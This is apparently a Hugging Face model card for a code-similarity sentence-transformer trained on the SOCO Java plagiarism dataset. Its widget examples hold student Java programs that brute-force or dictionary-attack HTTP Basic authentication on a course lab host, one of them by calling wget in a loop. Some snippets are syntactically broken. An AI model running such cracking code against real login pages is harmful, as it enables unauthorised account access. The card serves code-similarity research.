- "\n\nimport java.net.*;\nimport java.io.*;\n\t\n\nclass MyAuthenticator extends\
\ Authenticator {\n\n String password;\n\n public MyAuthenticator(String pwdin)\
\ {\n password = pwdin;\n }\n \n protected PasswordAuthentication\
\ getPasswordAuthentication(){\n\tString pwd = password;\n\treturn new PasswordAuthentication(\"\
\",pwd.toCharArray());\n }\n}\n"
- source_sentence: "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce\
\ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\
\ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\
\ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \
\ boolean morePasswords = true;\n int passPtr = 0;\n StringBuffer\
\ validChars = new StringBuffer(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
);\n char[] password = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n\
\ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\
\ URL url = new URL(resource);\n HttpURLConnection conn\
\ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\
HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
\ {\n System.out.println(\"cracked with \" + new String(password));\n\
\ auth = true;\n }\n } catch (Exception e) {\n\
\ System.out.println(\" was exception: \" + e.getMessage());\n \
\ }\n int count = passPtr;\n while (true) {\n \
\ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \
\ password[count] = validChars.charAt(0);\n count--;\n\
\ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\
\ + 1);\n break;\n }\n if (count < 0) {\n\
\ \n if (passPtr < MAX_LENGTH - 1) {\n \
\ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\
\ } else {\n morePasswords = false;\n \
\ }\n break;\n }\n }\n \n }\
\ \n if (!auth) {\n System.out.println(\"Unable determine password\"\
);\n } else {\n time = (new Date()).getTime() - start.getTime();\n\
\ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\
\ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\
\ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\
\ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\
\ {\n String user = \"\";\n return new PasswordAuthentication(user,\
\ password);\n }\n}\n"
sentences:
- "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\
\n\npublic class BruteForce\n{\n\n\tprivate String result =\"\";\n\n\tpublic\
\ class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String\
\ passwd)\n {\n this.pass = passwd;\n }\n\n\t \
\ protected PasswordAuthentication getPasswordAuthentication()\n \
\ {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n\
\ }\n public String pass;\n }\n\n public BruteForce()\
\ {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n\
\ System.out.println(d.toString());\n\t\tchar words[] = { 'a','b','c','d','e',\
\ 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',\n\t\t\t\t\t\t\t 'q','r','s','t','u','v','w','x','y','z',\
\ 'A','B','C','D','E', 'F', 'G',\n\t\t\t\t\t\t\t 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\
\n\t\tString record = null;\n\n\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n\n\t\tchar pass[] = {'x','x','x'};\n\t\tint count=1;\n\t\tString passwd=new\
\ String();\n HttpURLConnection connection = null;\n URL u = null;\n\
\n try\n {\n u = new URL(url);\n\n }\n catch\
\ (MalformedURLException e)\n {\n }\n\n for(int a=0;a<words.length;a++)\n\
\ {\n for(int b=0;b<words.length;b++)\n {\n\
\ for(int c=0;c<words.length;c++)\n \
\ {\n pass[0]=words[a];\n \
\ pass[1]=words[b];\n pass[2]=words[c];\n\
\ passwd=passwd.copyValueOf(pass,0,3);\n \
\ System.out.println(count+ \" ) \" + passwd);\n \
\ count++;\n try\n\
\ {\n\n \
\ connection = (HttpURLConnection) u.openConnection();\n \
\ Authenticator.setDefault(new customAuthenticator(passwd));\n\
\n if (connection.getResponseCode()!=401)\n\
\ {\n \
\ System.out.print(\"The password is : \"+passwd);\n \
\ System.out.println();\n \
\ java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n\
\ System.out.println(d1.toString());\n\
\ System.out.println(\"\\ntime taken\
\ in seconds:\"+ (d1.getTime() - d.getTime())/1000+\"\\n\");\n\n \
\ System.exit(0);\n \
\ }\n else\n \
\ {\n }\n \
\ connection.disconnect();\n \
\ }\n catch (IOException e)\n \
\ {\n System.out.println(e);\n\
\ }\n }\n \
\ }\n }\n }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\
\t\tBruteForce = new BruteForce();\n\t}\n}"
- "\n\n\nimport org.apache.commons.httpclient.HttpClient;\nimport org.apache.commons.httpclient.UsernamePasswordCredentials;\n\
import org.apache.commons.httpclient.cookie.CookiePolicy;\nimport org.apache.commons.httpclient.methods.GetMethod;\n\
\n\n\n\npublic class BruteForce{\n\n static final String LOGON_SITE_HACKER\
\ = BruteForcePropertyHelper.getProperty(\"logonSite\");\n static final int\
\ LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
logonPort\")).intValue();\n\n static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
useProxyServer\")).intValue();\n static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
proxyPort\")).intValue();\n\n static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty(\"\
proxyServer\");\n static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty(\"\
proxyUserName\");\n static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty(\"\
proxypassword\");\n\n static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(\"\
getMethod\");\n static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
numberOfGetsBeforeReleaseConnection\")).intValue();\n\n static final String[]\
\ cValidChars\t = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\"\
,\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\"\
,\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\"\
,\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\"\
,\"X\",\"Y\",\"Z\"};\n\n public BruteForce() {\n super();\n }\n\n\
\n\n\n public static void main (String[] args) throws Exception {\n\n\t\tString\t\
statusLine = \" \";\n\t\tint\t\tcount = 0;\n\t\tint\t\tfirstLetterIndex = 0;\n\
\t\tint\t\tsecondLetterIndex = 0;\n\t\tint\t\tthirdLetterIndex = 0;\n\t\tint\t\
\tdivValue = 0;\n\n\n\n\n\t\tString userName = \"\";\n\t\tString password = \"\
\";\n\n\n HttpClient client = new HttpClient();\n\n\t\t\n\n if (USE_PROXY_SERVER\
\ == 1) {\n \t\t\tclient.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);\n\
\ \t\t\tclient.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME,\
\ PROXY_PASSWORD));\n\n }\n\n client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);\n\
\ client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER,\
\ \"http\");\n GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);\n\
\n\n\t\t\n\n\t\tcount = 0;\n\n\t\tfor (int f = 0; f < 52; f++) {\n\n\t\t\tfirstLetterIndex\
\ = f;\n\n\t\t\tpassword = cValidChars[firstLetterIndex];\n\t\t\tSystem.out.println(\"\
Count: \"+ count + \" First Index: \"+ firstLetterIndex+ \" password: \"+ password);\n\
\n\t client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName,\
\ password));\n\t client.executeMethod(getMethod);\n\t statusLine\
\ = getMethod.getStatusLine().toString();\n\n\n\t\t\tif (statusLine.compareTo(\"\
HTTP/1.1 200 OK\") == 0) {\n\t\t\t\tSystem.out.println(\"Found the user name and\
\ password for the site. The username is: \"+ userName+ \" and the password is:\
\ \"+ password);\n\t\t\t\tSystem.exit(0);\n\t\t\t}\n\t }\n\n\n\t\t\n\t\tcount\
\ = 0;\n\n\t\tfor (int g = 0; g < 52; g++) {\n\n\t\t\tfirstLetterIndex = g;\n\n\
\t\t\tfor (int h = 0; h < 52; h++) {\n\n\t\t\tsecondLetterIndex = h;\n\n\t\t\t\
password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex];\n\n\t\
\t\t\tSystem.out.println(\"Count: \"+ count+ \" First Index: \"+ firstLetterIndex+\
\ \" Second Index: \"+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+\
\ cValidChars[thirdLetterIndex]+ \" password: \"+ password);\n\n\t\t client.getState().setCredentials(null,\
\ null, new UsernamePasswordCredentials(userName, password));\n\n\t\t\t\t++count;\n\
\n\t\t\t\tdivValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;\n\n\n\t\t\t\tif (divValue\
\ == 0) {\n\n\t\t\t\t\tSystem.out.println(\"Count: \"+ count+ \" Div Value: \"\
+ divValue + \" Releasing the connection and getting new one\");\n\t\t\t\t\tgetMethod.releaseConnection();\n\
\t\t\t\t\tgetMethod = null;\n\t\t\t\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\
\n\t\t\t\t}\n\n\t\t client.executeMethod(getMethod);\n\n\t\t statusLine\
\ = getMethod.getStatusLine().toString();\n\t\t\t\tSystem.out.println(\"Found\
\ the user name and password for the site. The username is: \"+ userName+ \" and\
\ the password is: \"+ password);\n\n\t\t\t\tif (statusLine.compareTo(\"HTTP/1.1\
\ 200 OK\") == 0) {\n\t\t\t\t\tSystem.out.println(\"Found the user name and password\
\ for the site. The username is: \"+ userName+ \" and the password is: \"+ password);\n\
\n\t\t\t\t\tSystem.exit(0);\n\t\t\t\t}\n\t\t }\n\n\t\t}\n\n\t\t\n\t\t\n\n\t\
\tgetMethod.releaseConnection();\n\t\tgetMethod = null;\n\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\
\n\t\tcount = 0;\n\t\tfor (int i = 0; i < 52; i++) {\n\n\t\t\tfirstLetterIndex\
\ = i;\n\n\t\t\tfor (int j = 0; j < 52; j++) {\n\n\t\t\t\tsecondLetterIndex =\
\ j;\n\n\t\t\t\tfor (int k = 0; k < 52; k++) {\n\n\t\t\t\t\tthirdLetterIndex =\
\ k;\n\n\t\t\t\t\tpassword = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+\
\ cValidChars[thirdLetterIndex];\n\t\t\t\t\tSystem.out.println(\"Count: \"+ count+\
\ \" First Index: \"+ firstLetterIndex+ \" Second Index: \"+ secondLetterIndex+\
\ \" Third Index: \"+ thirdLetterIndex+ \" \"+ cValidChars[firstLetterIndex]+\
\ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ \" password:\
\ \"+ password);\n\n\t\t\t client.getState().setCredentials(null, null,\
\ new UsernamePasswordCredentials(userName, password));\n\n\t\t\t\t\t++count;\n\
\n\t\t\t\t\tdivValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;\n\n\n\t\t\t\t\t\
if (divValue == 0) {\n\n\t\t\t\t\t\tSystem.out.println(\"Count: \"+ count+ \"\
\ Div Value: \"+ divValue+ \" Releasing the connection and getting new one\");\n\
\t\t\t\t\t\tgetMethod.releaseConnection();\n\t\t\t\t\t\tgetMethod = null;\n\t\t\
\t\t\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\n\t\t\t\t\t}\n\n\t\t\t\
\ client.executeMethod(getMethod);\n\t\t\t statusLine = getMethod.getStatusLine().toString();\n\
\n\t\t\t\t\tif (statusLine.compareTo(\"HTTP/1.1 200 OK\") == 0) {\n\t\t\t\t\t\t\
System.out.println(\"Found the user name and password for the site. The username\
\ is: \"+ userName+ \" and the password is: \"+ password);\n\t\t\t\t\t\tSystem.exit(0);\n\
\t\t\t\t\t}\n\t\t\t }\n\t\t\t}\n\t\t}\n }\n}\n"
- "import java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class Dictionary\
\ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\
\ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\
\ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \
\ String file = \"/usr/share/lib/dict/words\";\n String word;\n char[]\
\ password = new char[MAX_LENGTH];\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n\n while (!auth) {\n \n BufferedReader in = null;\n \
\ try {\n \n in = new BufferedReader(new FileReader(file));\n\
\ while ((word = in.readLine()) != null && !auth) {\n \
\ try {\n if (word.length() <= MAX_LENGTH) {\n \
\ password = word.toCharArray();\n \n \
\ Authenticator.setDefault(new CrackAuth(password));\n \
\ URL url = new URL(resource);\n HttpURLConnection conn\
\ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\
HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
\ {\n System.out.println(\"cracked with \" + new String(password));\n\
\ auth = true;\n }\n \
\ }\n } catch (Exception e) {\n System.out.println(\"\
\ was exception: \" + e.getMessage());\n }\n }\n\n \
\ \n } catch (FileNotFoundException fnfe) {\n System.out.println(\"\
File Not Found\");\n } catch (IOException ioe) {\n System.out.println(\"\
IOException\");\n } catch(Exception e) {\n e.printStackTrace();\n\
\ } finally {\n try {\n in.close();\n \
\ } catch (Exception e) {;}\n }\n\n\n }\n if (!auth) {\n\
\ System.out.println(\"Unable determine password\");\n } else {\n\
\ time = (new Date()).getTime() - start.getTime();\n System.out.println(\"\
it took \" + String.valueOf(time) + \" milliseconds crack the password\");\n\
\ }\n }\n}\n\nclass CrackAuth extends Authenticator {\n char[] password;\n\
\ public CrackAuth(char[] password) {\n this.password = password;\n }\n\
\n protected PasswordAuthentication getPasswordAuthentication()\n {\n \
\ String user = \"\";\n return new PasswordAuthentication(user, password);\n\
\ }\n}\n"
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n\
{\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D',\
\ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n \
\ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b',\
\ 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n \
\ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z',\
\ '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n \
\ };\n\n public static String encode (String string)\n {\n String encodedString\
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n \
\ int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes\
\ [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n\
\ {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else\n {\n b2 = bytes [i++];\n \
\ if (i >= bytes.length)\n {\n b3 = 0;\n \
\ pad = 1;\n }\n else\n b3 = bytes\
\ [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2\
\ = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf)\
\ << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n \
\ switch (pad)\n {\n case 0:\n encodedString\
\ += base64Array [c3];\n encodedString += base64Array [c4];\n \
\ break;\n case 1:\n encodedString += base64Array\
\ [c3];\n encodedString += \"=\";\n break;\n \
\ case 2:\n encodedString += \"==\";\n break;\n\
\ }\n }\n return encodedString;\n }\n}\n"
sentences:
- "\nimport java.net.*; \nimport java.io.*; \npublic class BruteForce {\nprivate\
\ static String password=\" \"; \n\n \n public static void main(String[]\
\ args) {\n\t String Result=\"\"; \n\t if (args.length<1)\n\t\t\t {\n\t\t\t\
\ System.out.println(\"Error: Correct Format Filename, username e.g<>\"); \n\
\t\t\t\tSystem.exit(1);\t\n\t\t\t }\n\t\t\t BruteForce bruteForce1 = new BruteForce();\n\
\t\t\t Result=bruteForce1.Password(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\
\ \n\t\t\t System.out.println(\"The Password of \"+args[0]+\"is..\"+Result);\
\ \n\t\t\t \n\t\t }\n\n\n\n private String Password(String urlString,String\
\ username) \n { \n int cnt=0;\n \n t0 = System.currentTimeMillis(); \n for\
\ ( char ch = 'A'; ch <= 'z'; ch++ )\n { \n\t\t\t\t\t\t if (ch>'Z' && ch<'a')\n\
\t\t\t\t\t\t { \n\t\t\t\t\t\t ch='a'; \n\t\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\t\
for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )\n\t\t\t\t { \n\t\t\t\t\t \n\t\t\t\
\t\t\tif (ch1>'Z' && ch1<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch1='a'; \n\t\t\
\t\t\t\t }\n\n\n\t\t\t\t\t for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )\n\t\t\t\
\t\t\t { \n\t\t\t\t\t\t\tif (ch2>'Z' && ch2<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t\
\ ch2='a'; \n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tpassword=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);\n\
\t\t\t\t\t\t\t\tSystem.out.print(\"crackin...:\"); \n\t\t\t\t\t \tSystem.out.print(\"\
\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\
\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL (urlString);\n\t\t\t\tString\
\ userPassword=username+\":\"+password; \n\n \n\t\t String encoding =\
\ new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t URLConnection\
\ conc= url.openConnection(); \n\t\t\t\t\t conc.setRequestProperty (\"Authorization\"\
, \" \" + encoding);\t\t\t \n\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\tcnt++;\n\
\t\t\t\t\t if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200\
\ OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\
\t\t\t\t\t\t net=t1-t0; \n\t\t\t\t\t\t\tSystem.out.println(\"\
The Number of Attempts \"+cnt); \n\t\t\t\t\t\t\tSystem.out.println(\"Total Time\
\ Taken in secs\"+net/1000); \n\t\t\t\t\t\t\treturn password; \n\t\t\t\t\t\t\
}\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\
\t e.printStackTrace(); \n\n\t\t\t\t}\n\n\t\t\t\n\t\t \n\t\t \n\t\t }\n\
\t\t \n\n\n\n \n \n\t } \n \n \n\t\
} \n return \"Password could not found\"; \n\n }\n\n\n}"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\
\ = in.readLine()) != null) {\n System.out.println(line);\n \
\ status = true;\n }\n }\n catch (IOException e) {\n \n\
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n\
{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\
\t\tpw = getPassword ();\n\t\tSystem.out.println(\"Password is: \"+pw);\n\t}\n\
\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\
\t\tpassWord = \"AAA\";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess\
\ pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader\
\ in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(\"\
\ attacking.....\");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n\
\ for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n\
\ for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\
\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = \"wget --http-user=\
\ --http-passwd=\"+passWord +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\
\ \";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\
\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\
\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\
\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\
\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\
\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found\
\ == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t\
}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\
\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\
\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\
\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn \"not\
\ found\";\n\t}\n}"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr5e-05-split0.2")
# Run inference
sentences = [
'\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 